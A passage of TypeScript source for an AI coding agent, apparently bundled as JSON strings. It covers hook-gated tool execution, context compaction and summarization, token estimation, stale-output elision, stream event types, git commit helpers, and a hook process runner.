tool.parameters.safeParse(call.args);\n if (!parsed.success) {\n return { content: `Invalid arguments: ${parsed.error.message}`, isError: true };\n }\n\n const pre = await this.runEventHooks(\"PreToolUse\", call.name, call.args);\n if (pre.blocked) {\n return {\n content: `Tool \"${call.name}\" blocked by a PreToolUse hook: ${pre.reason}`,\n isError: true,\n };\n }\n\n let result: ToolResult;\n try {\n result = await tool.execute(parsed.data, {\n cwd,\n abortSignal: signal,\n agentId: this.opts.agentId ?? \"root\",\n visionEnabled: this.opts.vision !== false,\n snapshotContext: {\n owner: (this.opts.subagentDepth ?? 0) > 0 ? \"subagent\" : \"root\",\n turn: this.activeTurnSeq,\n messageIndex: this.activeTurnUserIndex,\n },\n });\n } catch (error) {\n if (signal.aborted) {\n return { content: \"Tool execution aborted.\", isError: true };\n }\n return {\n content: `Tool error: ${error instanceof Error ? error.message : String(error)}`,\n isError: true,\n };\n }\n\n if (!result.isError) {\n await this.runEventHooks(\"PostToolUse\", call.name, call.args);\n }\n return result;\n }\n}\n","import { type LanguageModelV1, generateText } from \"ai\";\nimport { type CoreMessage, type StarMessage, isSyntheticUserMessage } from \"../core/messages\";\nimport { estimateMessageTokens } from \"./tokens\";\n\nexport interface CompactionResult {\n messages: StarMessage[];\n compacted: boolean;\n droppedCount: number;\n}\n\nconst MIN_KEPT_MESSAGES = 4;\n\nfunction placeholderMessage(droppedCount: number): StarMessage {\n return {\n message: {\n role: \"user\",\n content: `[context compacted: ${droppedCount} earlier messages dropped]`,\n },\n };\n}\n\nconst SUMMARY_SYSTEM_PROMPT = [\n \"You are summarizing an AI coding agent's conversation for context compaction.\",\n \"Write a concise summary that preserves:\",\n \"- the user's goals and requests\",\n \"- decisions made and their rationale\",\n \"- files and code touched (paths, key changes)\",\n \"- tool results that matter (errors, key outputs)\",\n \"- outstanding TODOs and next steps\",\n \"Output only the summary, no preamble.\",\n].join(\"\\n\");\n\n// Cap the summarizer's own input: a long session's dropped transcript can be\n// megabytes of tool output, and the summary call is billed too. The head\n// (original task) and tail (most recent state) carry what a summary needs.\nconst MAX_SUMMARY_INPUT_CHARS = 80_000;\nconst SUMMARY_HEAD_CHARS = 24_000;\n\nexport function truncateSummaryInput(transcript: string): string {\n if (transcript.length <= MAX_SUMMARY_INPUT_CHARS) return transcript;\n const tailChars = MAX_SUMMARY_INPUT_CHARS - SUMMARY_HEAD_CHARS;\n const omitted = transcript.length - MAX_SUMMARY_INPUT_CHARS;\n return `${transcript.slice(0, SUMMARY_HEAD_CHARS)}\\n[... ${omitted} characters omitted ...]\\n${transcript.slice(-tailChars)}`;\n}\n\nfunction serializeMessage(message: CoreMessage): string {\n if (typeof message.content === \"string\") {\n return `${message.role}: ${message.content}`;\n }\n const parts = message.content.map((part) => {\n if (part.type === \"text\") return part.text;\n if (part.type === \"tool-call\")\n return `[tool-call ${part.toolName}] ${JSON.stringify(part.args)}`;\n if (part.type === \"tool-result\")\n return `[tool-result ${part.toolName}] ${JSON.stringify(part.result)}`;\n return `[${part.type}]`;\n });\n return `${message.role}: ${parts.join(\"\\n\")}`;\n}\n\n// Collects the first `budget` chars of the virtual newline-joined transcript\n// without ever building it; exactly mirrors joined.slice(0, budget).\nfunction headSlice(parts: string[], budget: number): string {\n const kept: string[] = [];\n let used = 0;\n for (const part of parts) {\n if (used >= budget) break;\n const sep = kept.length > 0 ? 1 : 0;\n if (used + sep + part.length <= budget) {\n kept.push(part);\n used += sep + part.length;\n } else {\n kept.push(part.slice(0, budget - used - sep));\n used = budget;\n }\n }\n return kept.join(\"\\n\");\n}\n\n// Mirror of headSlice for the tail: exactly joined.slice(-budget).\nfunction tailSlice(parts: string[], budget: number): string {\n const kept: string[] = [];\n let used = 0;\n for (let i = parts.length - 1; i >= 0; i--) {\n if (used >= budget) break;\n const part = parts[i] ?? \"\";\n const sep = kept.length > 0 ? 1 : 0;\n if (used + sep + part.length <= budget) {\n kept.unshift(part);\n used += sep + part.length;\n } else {\n kept.unshift(part.slice(part.length - (budget - used - sep)));\n used = budget;\n }\n }\n return kept.join(\"\\n\");\n}\n\n// Serializes messages straight into the capped summary input: per-message\n// strings are collected within the head/tail budgets and the megabyte-scale\n// joined transcript is never materialized. Output is byte-identical to\n// truncateSummaryInput(parts.join(\"\\n\")), omission count included.\nexport function serializeSummaryInput(messages: CoreMessage[]): string {\n const parts = messages.map(serializeMessage);\n let total = Math.max(0, parts.length - 1);\n for (const part of parts) total += part.length;\n if (total <= MAX_SUMMARY_INPUT_CHARS) return parts.join(\"\\n\");\n const head = headSlice(parts, SUMMARY_HEAD_CHARS);\n const tail = tailSlice(parts, MAX_SUMMARY_INPUT_CHARS - SUMMARY_HEAD_CHARS);\n return `${head}\\n[... ${total - MAX_SUMMARY_INPUT_CHARS} characters omitted ...]\\n${tail}`;\n}\n\nexport async function summarizeMessages(\n messages: CoreMessage[],\n model: LanguageModelV1,\n signal?: AbortSignal,\n // The calling model's configured sampling temperature, forwarded so\n // endpoints that mandate one explicit value don't reject the summary call.\n temperature?: number,\n): Promise<string> {\n const transcript = serializeSummaryInput(messages);\n const { text } = await generateText({\n model,\n system: SUMMARY_SYSTEM_PROMPT,\n prompt: `Summarize this conversation so far:\\n\\n${transcript}`,\n temperature,\n // A hung relay must not stall the whole turn on the summary: cap it at\n // 60s and let the caller's abort (Esc) cut it short as well; the caller\n // falls back to the truncation placeholder on any failure.\n abortSignal: signal\n ? AbortSignal.any([signal, AbortSignal.timeout(60_000)])\n : AbortSignal.timeout(60_000),\n });\n return text.trim();\n}\n\nexport interface CompactOptions {\n // Manual /compact: compact even when under the token budget, dropping whole\n // turns down to MIN_KEPT_MESSAGES instead of refusing. Auto-compaction in\n // the agent loop never forces.\n force?: boolean;\n // Fixed per-request overhead charged against the budget: the API window\n // also carries the tool map's JSON schemas (estimateToolSchemaTokens), so\n // the message estimate alone systematically under-reads how full the\n // window is. Estimated once per built tool map by the agent loop.\n overheadTokens?: number;\n}\n\nexport function compactMessages(\n messages: readonly StarMessage[],\n maxTokens: number,\n opts: CompactOptions = {},\n): CompactionResult {\n // Forced compaction uses a zero budget: the under-budget exits below never\n // fire, so turns are dropped until only MIN_KEPT_MESSAGES would remain.\n const limit = opts.force ? 0 : maxTokens;\n const overhead = opts.overheadTokens ?? 0;\n // Estimate every message once, up front: estimates are cached per message\n // object (tokens.ts), so across the loop's per-step calls this only pays\n // for newly appended messages. The early exit, the turn sums and the\n // incremental drop loop all read from this array — no CoreMessage[] copies\n // and no re-estimation per step.\n const tokens = messages.map((star) => estimateMessageTokens(star.message));\n let total = overhead;\n for (const messageTokens of tokens) total += messageTokens;\n if (total <= limit) {\n return { messages: [...messages], compacted: false, droppedCount: 0 };\n }\n\n const hasSystem = messages[0]?.message.role === \"system\";\n const head = hasSystem ? [messages[0] as StarMessage] : [];\n const restStart = hasSystem ? 1 : 0;\n const restCount = messages.length - restStart;\n\n // Sum each turn's tokens once and subtract incrementally while dropping:\n // rebuilding the candidate array and re-estimating it whole after every\n // dropped turn made forced /compact O(n²) on long histories. Per-message\n // estimates are cached (tokens.ts), so the placeholder's tiny string is\n // the only fresh work per iteration.\n const headTokens = hasSystem ? (tokens[0] ?? 0) : 0;\n let restTokens = 0;\n for (let i = restStart; i < tokens.length; i++) restTokens += tokens[i] ?? 0;\n // Turns split at real user messages only: a synthetic user message (an\n // auto-continue nudge, a background subagent report, tool-attached images)\n // belongs to the turn it sits in and must drop — and stay — with it.\n const turns: { length: number; tokens: number }[] = [];\n for (let i = restStart; i < messages.length; i++) {\n const current = turns[turns.length - 1];\n const star = messages[i];\n if ((star && star.message.role === \"user\" && !isSyntheticUserMessage(star)) || !current) {\n turns.push({ length: 1, tokens: tokens[i] ?? 0 });\n } else {\n current.length += 1;\n current.tokens += tokens[i] ?? 0;\n }\n }\n\n let droppedCount = 0;\n let droppedTokens = 0;\n for (const turn of turns) {\n if (restCount - droppedCount - turn.length < MIN_KEPT_MESSAGES) {\n break;\n }\n droppedCount += turn.length;\n droppedTokens += turn.tokens;\n const candidateTokens =\n overhead +\n headTokens +\n estimateMessageTokens(placeholderMessage(droppedCount).message) +\n (restTokens - droppedTokens);\n if (candidateTokens <= limit) {\n break;\n }\n }\n\n if (droppedCount === 0) {\n return { messages: [...messages], compacted: false, droppedCount: 0 };\n }\n\n return {\n messages: [\n ...head,\n placeholderMessage(droppedCount),\n ...messages.slice(restStart + droppedCount),\n ],\n compacted: true,\n droppedCount,\n };\n}\n","import { zodSchema } from \"ai\";\nimport { encode } from \"gpt-tokenizer/encoding/cl100k_base\";\nimport type { z } from \"zod\";\nimport type { CoreMessage } from \"../core/messages\";\n\nconst CHARS_PER_TOKEN = 4;\nconst MESSAGE_OVERHEAD = 4;\nconst IMAGE_PART_TOKENS = 1024;\n\n// Chat content can legitimately contain BPE special-token strings\n// (<|endoftext|> …) pasted from logs or other models; an empty disallowed\n// set encodes them as ordinary text instead of throwing, so the estimate\n// never fails on real conversations.\nconst ENCODE_OPTIONS = { disallowedSpecial: new Set<string>() };\n\n// Real BPE counting (cl100k_base) replaces the chars-per-token heuristic:\n// the heuristic under-reads punctuation-heavy code and JSON by 15-30%, which\n// let the ctx% display and the auto-compaction threshold trigger late.\n// cl100k is pinned explicitly (not the library default) so a dependency\n// upgrade can't silently change the estimator, and because it counts\n// slightly high for CJK — overestimating compacts early, underestimating\n// overflows the window. Non-OpenAI models have their own tokenizers, but\n// any real BPE count sits far closer to them than a char rule does; the\n// provider's reported usage still owns billing.\nfunction countTextTokens(text: string): number {\n if (text.length === 0) return 0;\n try {\n return encode(text, ENCODE_OPTIONS).length;\n } catch {\n return Math.ceil(textWeight(text) / CHARS_PER_TOKEN);\n }\n}\n\n// CJK characters map to roughly one token each, while Latin text averages\n// ~4 chars/token. Weight a CJK char as CHARS_PER_TOKEN units so the final\n// division lands near 1 token/char — otherwise Chinese-heavy conversations\n// are underestimated ~4x. Ranges: CJK punctuation, kana, ext-A, unified\n// ideographs, compat ideographs, fullwidth forms. Numeric code-unit\n// comparisons instead of a per-char regex: several times faster on the long\n// tool-result strings this runs over, with identical results (surrogate\n// halves never fall in these ranges). Only used as the fallback when the\n// BPE encoder itself fails.\nfunction isCjkCode(code: number): boolean {\n return (\n (code >= 0x3000 && code <= 0x30ff) ||\n (code >= 0x3400 && code <= 0x4dbf) ||\n (code >= 0x4e00 && code <= 0x9fff) ||\n (code >= 0xf900 && code <= 0xfaff) ||\n (code >= 0xff00 && code <= 0xffef)\n );\n}\n\nfunction textWeight(text: string): number {\n let cjk = 0;\n for (let i = 0; i < text.length; i++) {\n if (isCjkCode(text.charCodeAt(i))) cjk++;\n }\n return text.length + cjk * (CHARS_PER_TOKEN - 1);\n}\n\nfunction contentTokenLength(message: CoreMessage): number {\n if (message.role === \"tool\") {\n let tokens = 0;\n for (const part of message.content) {\n tokens += countTextTokens(JSON.stringify(part.result ?? null));\n }\n return tokens;\n }\n if (typeof message.content === \"string\") {\n return countTextTokens(message.content);\n }\n let tokens = 0;\n for (const part of message.content) {\n if (part.type === \"text\" || part.type === \"reasoning\") {\n tokens += countTextTokens(part.text);\n } else if (part.type === \"tool-call\") {\n tokens += countTextTokens(part.toolName) + countTextTokens(JSON.stringify(part.args ?? null));\n }\n }\n return tokens;\n}\n\nfunction imagePartCount(message: CoreMessage): number {\n if (typeof message.content === \"string\" || message.role === \"tool\") return 0;\n return message.content.filter((part) => part.type === \"image\" || part.type === \"file\").length;\n}\n\n// Messages are immutable once they enter a loop's history (the system\n// message slot is replaced, never edited in place — see syncSystemMessage\n// in agent/loop.ts), so an identity-keyed cache never serves a stale count.\n// The agent loop re-estimates the whole history every step; caching per\n// message object keeps that O(new messages) instead of O(history), and the\n// JSON.stringify of big tool results/args plus the BPE encode in\n// contentTokenLength runs once per message instead of once per step — the\n// tokenizer costs ~40ms per 1MB on first sight, 0 afterwards.\nconst tokenCache = new WeakMap<CoreMessage, number>();\n\nexport function estimateMessageTokens(message: CoreMessage): number {\n const cached = tokenCache.get(message);\n if (cached !== undefined) return cached;\n const tokens =\n contentTokenLength(message) + MESSAGE_OVERHEAD + imagePartCount(message) * IMAGE_PART_TOKENS;\n tokenCache.set(message, tokens);\n return tokens;\n}\n\nexport function estimateTokens(messages: readonly CoreMessage[]): number {\n return messages.reduce((total, message) => total + estimateMessageTokens(message), 0);\n}\n\n// Serializes a tool's parameters the way the request carries them. Zod\n// schemas (what every registered tool declares) convert to their wire JSON\n// schema through the AI SDK — serializing the zod object itself would skip\n// the shape (it sits behind a closure) and under-read badly. An SDK Schema\n// wrapper (jsonSchema()) is unwrapped directly.\nfunction parametersWireJson(parameters: unknown): string {\n if (parameters == null) return \"\";\n const wrapper = parameters as { jsonSchema?: unknown };\n if (wrapper.jsonSchema !== undefined) {\n try {\n return JSON.stringify(wrapper.jsonSchema) ?? \"\";\n } catch {\n return \"\";\n }\n }\n try {\n return JSON.stringify(zodSchema(parameters as z.ZodType).jsonSchema) ?? \"\";\n } catch {\n try {\n return JSON.stringify(parameters) ?? \"\";\n } catch {\n return \"\";\n }\n }\n}\n\n// The fixed per-request overhead the message-only estimate never sees: every\n// request carries the whole tool map as JSON schemas, and on a 15+ tool setup\n// that is several thousand tokens — ignoring it systematically under-reads\n// how full the window really is. The agent loop estimates this once per built\n// tool map (registry and plan filter are stable while it lives) and charges\n// it into the auto-compaction check; a schema that cannot be serialized\n// contributes nothing rather than failing the estimate.\nexport function estimateToolSchemaTokens(tools: Record<string, unknown>): number {\n let tokens = 0;\n for (const [name, tool] of Object.entries(tools)) {\n tokens += countTextTokens(name);\n const description = (tool as { description?: unknown }).description;\n if (typeof description === \"string\") tokens += countTextTokens(description);\n tokens += countTextTokens(parametersWireJson((tool as { parameters?: unknown }).parameters));\n }\n return tokens;\n}\n","import type { StarMessage } from \"../core/messages\";\nimport { estimateMessageTokens } from \"./tokens\";\n\n// Elision only earns its history rewrite once the window is filling; below\n// this fraction of the compaction threshold the history stays untouched, so\n// short sessions never elide.\nconst ACTIVATION_FRACTION = 0.5;\n// The newest messages are the model's active working set and are never\n// touched; value decay only justifies elision well behind the frontier.\nconst KEEP_RECENT_MESSAGES = 24;\n// A tool result smaller than this is cheaper to keep than to re-fetch.\nconst MIN_ELISION_TOKENS = 250;\n\nexport const ELIDED_TOOL_RESULT_TEXT =\n \"[stale tool output elided to free context — it was shown in full earlier; re-run the tool if you need it again]\";\nexport const ELIDED_IMAGE_TEXT =\n \"[image elided to free context — re-attach it if it is still needed]\";\n\nexport interface ElisionResult {\n messages: StarMessage[];\n elidedCount: number;\n}\n\n// Stale-content elision: whole-turn compaction throws away the conversation\n// narrative when the real dead weight is old bulk — a file read 40 messages\n// ago whose contents have been edited since, a screenshot attached long ago.\n// Those get replaced in place with a placeholder: message count and order\n// are unchanged, so /undo turn markers stay valid (unlike compaction), the\n// assistant's tool-call ↔ tool-result pairing survives protocol-valid, and\n// the history often shrinks enough that compaction never fires.\n//\n// Runs before the per-step compaction check; the caller persists the\n// rewrite exactly like compaction and resets volatile tool state (the\n// read_file dedup cache must not claim elided content is still in context).\nexport function elideStaleContent(\n messages: readonly StarMessage[],\n thresholdTokens: number,\n overheadTokens = 0,\n): ElisionResult | null {\n let total = overheadTokens;\n for (const star of messages) total += estimateMessageTokens(star.message);\n if (total < thresholdTokens * ACTIVATION_FRACTION) return null;\n const cutoff = messages.length - KEEP_RECENT_MESSAGES;\n if (cutoff <= 0) return null;\n\n let elidedCount = 0;\n const out = messages.slice();\n for (let i = 0; i < cutoff; i++) {\n const star = out[i];\n if (!star || star.meta?.elided) continue;\n const message = star.message;\n if (message.role === \"tool\") {\n if (estimateMessageTokens(message) < MIN_ELISION_TOKENS) continue;\n out[i] = {\n message: {\n ...message,\n content: message.content.map((part) => ({\n ...part,\n result: ELIDED_TOOL_RESULT_TEXT,\n })),\n },\n meta: { ...star.meta, elided: true },\n };\n elidedCount++;\n } else if (message.role === \"user\" && Array.isArray(message.content)) {\n if (!message.content.some((part) => part.type === \"image\" || part.type === \"file\")) continue;\n out[i] = {\n message: {\n ...message,\n content: message.content.map((part) =>\n part.type === \"image\" || part.type === \"file\"\n ? { type: \"text\" as const, text: ELIDED_IMAGE_TEXT }\n : part,\n ),\n },\n meta: { ...star.meta, elided: true },\n };\n elidedCount++;\n }\n }\n if (elidedCount === 0) return null;\n return { messages: out, elidedCount };\n}\n","export interface TokenUsage {\n promptTokens: number;\n completionTokens: number;\n totalTokens: number;\n // Prompt tokens served from the provider cache, reported as a subset of\n // promptTokens (OpenAI / openai-compatible style).\n cachedPromptTokens?: number;\n // Cache-read tokens reported outside promptTokens (Anthropic style), so\n // they also count toward the effective prompt total.\n cacheReadInputTokens?: number;\n}\n\n// Canonical total for a usage record: prompt + completion. Some providers\n// report a totalTokens that additionally counts reasoning or other hidden\n// classes, so summing the two billed classes keeps every aggregation\n// (subagent folding, session totals, cost) on one basis. Falls back to the\n// reported total when the per-class counts carry nothing (a total-only\n// report), so that spend is not dropped either.\nexport function usageTotalTokens(usage: TokenUsage): number {\n const summed = usage.promptTokens + usage.completionTokens;\n return summed > 0 ? summed : usage.totalTokens;\n}\n\n// Serializable description of a stream failure, carried by the error event\n// instead of a live Error: plain data survives JSON.stringify (the debug log\n// writes JSONL; an Error serializes to \"{}\") and any future process\n// boundary. Every property the retry policy (llm/retry.ts) classifies on is\n// captured losslessly by toStreamErrorInfo where the error is produced.\nexport interface StreamErrorInfo {\n name: string;\n message: string;\n // HTTP status the endpoint answered with (AI_APICallError.statusCode).\n statusCode?: number;\n // The AI SDK's own retryability verdict (it marks 429/5xx retryable).\n isRetryable?: boolean;\n // Node-style errno attached to the error itself (the classic stack).\n code?: string;\n // Errno carried by error.cause — Node's fetch reports transport failures\n // as TypeError(\"fetch failed\") with the real errno at cause.code.\n causeCode?: string;\n // Response headers (Retry-After hints ride here); string values only.\n responseHeaders?: Record<string, string>;\n // Raw response body — relays often put the real failure reason there while\n // the message stays generic.\n responseBody?: string;\n}\n\n// Flattens any thrown value into a serializable StreamErrorInfo. The single\n// Error→info conversion point: called where an error event is produced\n// (llm/stream.ts, agent/loop.ts) so everything downstream — retry\n// classification, the UI, JSON print — works on plain data. Non-Error values\n// keep the old wrapping behavior: new Error(String(value)).\nexport function toStreamErrorInfo(error: unknown): StreamErrorInfo {\n const err = error instanceof Error ? error : new Error(String(error));\n const info: StreamErrorInfo = { name: err.name, message: err.message };\n const statusCode = (err as { statusCode?: unknown }).statusCode;\n if (typeof statusCode === \"number\") info.statusCode = statusCode;\n if ((err as { isRetryable?: unknown }).isRetryable === true) info.isRetryable = true;\n const code = (err as { code?: unknown }).code;\n if (typeof code === \"string\") info.code = code;\n const cause = (err as { cause?: unknown }).cause;\n const causeCode =\n cause && typeof cause === \"object\" ? (cause as { code?: unknown }).code : undefined;\n if (typeof causeCode === \"string\") info.causeCode = causeCode;\n const headers = (err as { responseHeaders?: unknown }).responseHeaders;\n if (headers && typeof headers === \"object\") {\n const strings: Record<string, string> = {};\n for (const [key, value] of Object.entries(headers)) {\n if (typeof value === \"string\") strings[key] = value;\n }\n if (Object.keys(strings).length > 0) info.responseHeaders = strings;\n }\n const body = (err as { responseBody?: unknown }).responseBody;\n if (typeof body === \"string\" && body.length > 0) info.responseBody = body;\n return info;\n}\n\nexport type StreamEvent =\n | { type: \"text-delta\"; text: string }\n | { type: \"reasoning\"; text: string }\n | { type: \"tool-call\"; id: string; name: string; args: unknown }\n | { type: \"tool-result\"; id: string; name: string; content: string; isError?: boolean }\n // Coarse progress while a tool call's JSON arguments stream in (emitted at\n // 4KB boundaries): large write_file payloads can stream for a while, and a\n // byte counter beats a dead-looking spinner.\n | { type: \"tool-call-progress\"; name: string; bytes: number }\n // `truncated` marks a stream that the idle watchdog ended gracefully while\n // it already had content — the reply may be cut off mid-thought.\n | { type: \"finish\"; finishReason: string; usage?: TokenUsage; truncated?: boolean }\n // A model request failed (or came back empty) and is about to be retried;\n // `attempt`/`maxAttempts` are 1-based counts of the upcoming attempt, and\n // `delayMs` is how long the loop waits before it (Retry-After hints or\n // jittered backoff).\n | { type: \"retry\"; attempt: number; maxAttempts: number; delayMs?: number; reason: string }\n // Informational note worth surfacing in the UI (e.g. an auto-continue\n // nudge was injected because the model stopped with work announced).\n | { type: \"notice\"; message: string }\n | { type: \"error\"; error: StreamErrorInfo };\n","import { execFileSync } from \"node:child_process\";\n\nconst GIT_TIMEOUT_MS = 2000;\nconst GIT_MAX_BUFFER = 8 * 1024 * 1024;\n\nexport const COMMIT_DIFF_MAX_LINES = 2000;\nexport const WORKING_DIFF_MAX_LINES = 2000;\n\n// Synchronous by design: callers (system-prompt sync, slash commands) need the\n// result inline. Every failure — not a repo, git missing, timeout, oversized\n// output — returns null so the agent can never crash on git state.\nexport function runGit(args: string[], cwd: string): string | null {\n try {\n const out = execFileSync(\"git\", args, {\n cwd,\n timeout: GIT_TIMEOUT_MS,\n encoding: \"utf8\",\n maxBuffer: GIT_MAX_BUFFER,\n stdio: [\"ignore\", \"pipe\", \"ignore\"],\n });\n return out.replace(/\\n$/, \"\");\n } catch {\n return null;\n }\n}\n\nexport function isGitRepo(cwd: string): boolean {\n return runGit([\"rev-parse\", \"--is-inside-work-tree\"], cwd) === \"true\";\n}\n\nexport interface GitSummary {\n branch: string;\n dirtyCount: number;\n recentCommits: string[];\n}\n\nexport function getGitSummary(cwd: string): GitSummary | null {\n const branch = runGit([\"rev-parse\", \"--abbrev-ref\", \"HEAD\"], cwd);\n if (branch === null) return null;\n const status = runGit([\"status\", \"--porcelain\"], cwd) ?? \"\";\n const dirtyCount = status === \"\" ? 0 : status.split(\"\\n\").length;\n const log = runGit([\"log\", \"--oneline\", \"-3\"], cwd) ?? \"\";\n return { branch, dirtyCount, recentCommits: log === \"\" ? [] : log.split(\"\\n\") };\n}\n\nconst GIT_SUMMARY_CACHE_TTL_MS = 15_000;\n\nconst gitSummaryCache = new Map<string, { at: number; summary: GitSummary | null }>();\n\n// System-prompt sync calls getGitSummary every turn — in every loop, including\n// each subagent's — and the underlying sync git calls block the event loop for\n// up to the 2s timeout, so summaries are cached per cwd for a short TTL.\n// Failures (null) are cached too: a plain directory rarely turns into a repo\n// within 15s, and re-probing one every turn is the common case outside repos.\nexport function getGitSummaryCached(cwd: string): GitSummary | null {\n const now = Date.now();\n const hit = gitSummaryCache.get(cwd);\n if (hit && now - hit.at < GIT_SUMMARY_CACHE_TTL_MS) return hit.summary;\n const summary = getGitSummary(cwd);\n gitSummaryCache.set(cwd, { at: now, summary });\n return summary;\n}\n\n// Test hook: drop all cached summaries so the next call shells out to git.\nexport function resetGitSummaryCache(): void {\n gitSummaryCache.clear();\n}\n\nexport function formatGitSummary(summary: GitSummary): string {\n const lines = [\n \"Git context for the working directory (refreshed each turn):\",\n `Branch: ${summary.branch}`,\n summary.dirtyCount === 0\n ? \"Working tree: clean\"\n : `Working tree: ${summary.dirtyCount} file(s) with uncommitted changes`,\n ];\n if (summary.recentCommits.length > 0) {\n lines.push(\"Recent commits:\", ...summary.recentCommits);\n }\n return lines.join(\"\\n\");\n}\n\nexport function truncateLines(\n text: string,\n maxLines: number,\n): { text: string; truncated: boolean } {\n const lines = text.split(\"\\n\");\n if (lines.length <= maxLines) return { text, truncated: false };\n return { text: lines.slice(0, maxLines).join(\"\\n\"), truncated: true };\n}\n\nfunction collectDiffs(cwd: string): { staged: string; unstaged: string } {\n return {\n staged: runGit([\"diff\", \"--cached\"], cwd) ?? \"\",\n unstaged: runGit([\"diff\"], cwd) ?? \"\",\n };\n}\n\nexport interface CommitContext {\n status: string;\n diff: string;\n diffTruncated: boolean;\n recentLog: string;\n}\n\n// null means nothing to commit (clean tree). Untracked files still count:\n// they show up in the status even though `git diff` has no output for them.\nexport function collectCommitContext(cwd: string): CommitContext | null {\n if (!isGitRepo(cwd)) return null;\n const status = runGit([\"status\", \"--short\"], cwd) ?? \"\";\n const { staged, unstaged } = collectDiffs(cwd);\n if (status === \"\" && staged === \"\" && unstaged === \"\") return null;\n const rawDiff = [staged, unstaged].filter((part) => part !== \"\").join(\"\\n\");\n const { text: diff, truncated } = truncateLines(rawDiff, COMMIT_DIFF_MAX_LINES);\n const recentLog = runGit([\"log\", \"--oneline\", \"-5\"], cwd) ?? \"\";\n return { status, diff, diffTruncated: truncated, recentLog };\n}\n\nexport function buildCommitPrompt(context: CommitContext, instructions = \"\"): string {\n const parts = [\n \"Analyze the uncommitted git changes below and create a commit for them.\",\n \"\",\n \"Requirements:\",\n \"- Draft a commit message in Conventional Commits style (e.g. `feat(scope): summary`), consistent with the repository's recent commit history.\",\n \"- Stage the relevant files and create the commit with the bash tool (`git add` + `git commit`), through the normal permission flow.\",\n \"- Do not push and do not amend existing commits.\",\n \"- After committing, briefly report the commit hash and message.\",\n ];\n if (instructions) {\n parts.push(\"\", `Additional instructions from the user: ${instructions}`);\n }\n parts.push(\"\", \"## git status --short\", \"```\", context.status || \"(clean)\", \"```\");\n if (context.recentLog) {\n parts.push(\"\", \"## recent commits (git log --oneline -5)\", \"```\", context.recentLog, \"```\");\n }\n if (context.diff) {\n parts.push(\"\", \"## git diff (staged + unstaged)\", \"```diff\", context.diff, \"```\");\n if (context.diffTruncated) {\n parts.push(`(diff truncated to ${COMMIT_DIFF_MAX_LINES} lines)`);\n }\n }\n return parts.join(\"\\n\");\n}\n\nexport interface WorkingDiff {\n status: string;\n diff: string;\n truncated: boolean;\n}\n\nexport function collectWorkingDiff(cwd: string): WorkingDiff | null {\n if (!isGitRepo(cwd)) return null;\n const status = runGit([\"status\", \"--short\"], cwd) ?? \"\";\n const { staged, unstaged } = collectDiffs(cwd);\n const sections: string[] = [];\n if (staged) sections.push(`# Staged changes\\n${staged}`);\n if (unstaged) sections.push(`# Unstaged changes\\n${unstaged}`);\n const { text, truncated } = truncateLines(sections.join(\"\\n\"), WORKING_DIFF_MAX_LINES);\n return { status, diff: text, truncated };\n}\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport { StringDecoder } from \"node:string_decoder\";\nimport type { HookConfig } from \"../config/schema\";\n\nexport type HookEvent = \"PreToolUse\" | \"PostToolUse\" | \"Stop\";\n\nexport interface HookRunContext {\n cwd: string;\n sessionId?: string;\n toolName?: string;\n toolInput?: unknown;\n}\n\nexport interface HookRunResult {\n blocked: boolean;\n reason?: string;\n warnings: string[];\n}\n\nconst STDERR_LIMIT = 2000;\nconst STDERR_CAPTURE_LIMIT = 64 * 1024;\n// Tool input rides in the environment as STAR_TOOL_INPUT, but env blocks are\n// capped (Linux E2BIG, 32KB on Windows), so past this many UTF-8 bytes the\n// JSON is piped to the hook's stdin instead, marked by STAR_TOOL_INPUT_STDIN=1.\nconst STDIN_PAYLOAD_THRESHOLD = 16 * 1024;\n\ninterface CommandOutcome {\n code: number;\n stderr: string;\n timedOut: boolean;\n spawnError?: string;\n}\n\nfunction truncate(text: string): string {\n const trimmed = text.trim();\n return trimmed.length > STDERR_LIMIT ? `${trimmed.slice(0, STDERR_LIMIT)}…` : trimmed;\n}\n\n// On timeout the whole process tree must die: killing only the shell (what\n// child_process timeout does) orphans the real command. On Windows cmd.exe\n// does not exec its child — the survivor would keep running and lock the\n// working directory. On POSIX the orphaned grandchild keeps the stdio pipes\n// open, so the \"close\" event never fires and the hook hangs — hence the\n// process-group kill (the child is spawned detached, making it a group\n// leader).\nfunction killTree(pid: number | undefined): void {\n if (pid === undefined) return;\n if (process.platform === \"win32\") {\n spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true }).on(\n \"error\",\n () => {},\n );\n } else {\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n try {\n process.kill(pid, \"SIGKILL\");\n } catch {\n // Already gone.\n }\n }\n }\n}\n\nfunction runCommand(\n hook: HookConfig,\n event: HookEvent,\n ctx: HookRunContext,\n timeoutSec: number,\n): Promise<CommandOutcome> {\n const env: NodeJS.ProcessEnv = {\n ...process.env,\n STAR_HOOK_EVENT: event,\n STAR_CWD: ctx.cwd,\n STAR_SESSION_ID: ctx.sessionId ?? \"\",\n };\n if (ctx.toolName !== undefined) env.STAR_TOOL_NAME = ctx.toolName;\n const inputJson = ctx.toolInput !== undefined ? JSON.stringify(ctx.toolInput) : undefined;\n const inputViaStdin =\n inputJson !== undefined && Buffer.byteLength(inputJson, \"utf8\") > STDIN_PAYLOAD_THRESHOLD;\n if (inputJson !== undefined && !inputViaStdin) env.STAR_TOOL_INPUT = inputJson;\n if (inputViaStdin) env.STAR_TOOL_INPUT_STDIN = \"1\";\n return new Promise((resolve) => {\n let child: ChildProcess;\n try {\n child = spawn(hook.command, [], {\n shell: true,\n cwd: ctx.cwd,\n env,\n windowsHide: true,\n detached: process.platform !== \"win32\",\n });\n } catch (error) {\n resolve({\n code: 1,\n stderr: \"\",\n timedOut: false,\n spawnError: error instanceof Error ? error.message : String(error),\n });\n return;\n }\n // A hook that exits before reading its input closes the pipe early; the\n // resulting EPIPE is just a failing hook, reported via its exit code.\n if (inputViaStdin && inputJson !== undefined && child.stdin) {\n child.stdin.on(\"error\", () => {});\n child.stdin.end(inputJson);\n }\n let stderr = \"\";\n // Chunk-wise toString would corrupt multi-byte UTF-8 split across chunks.\n const stderrDecoder = new StringDecoder(\"utf8\");\n let timedOut = false;\n let settled = false;\n const finish = (outcome: CommandOutcome) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n clearTimeout(fallback);\n resolve({ ...outcome, stderr: outcome.stderr + stderrDecoder.end() });\n };\n const timer = setTimeout(() => {\n timedOut = true;\n killTree(child.pid);\n child.stdout?.destroy();\n child.stderr?.destroy();\n fallback = setTimeout(() => {\n finish({ code: 1, stderr, timedOut: true });\n }, 2000);\n 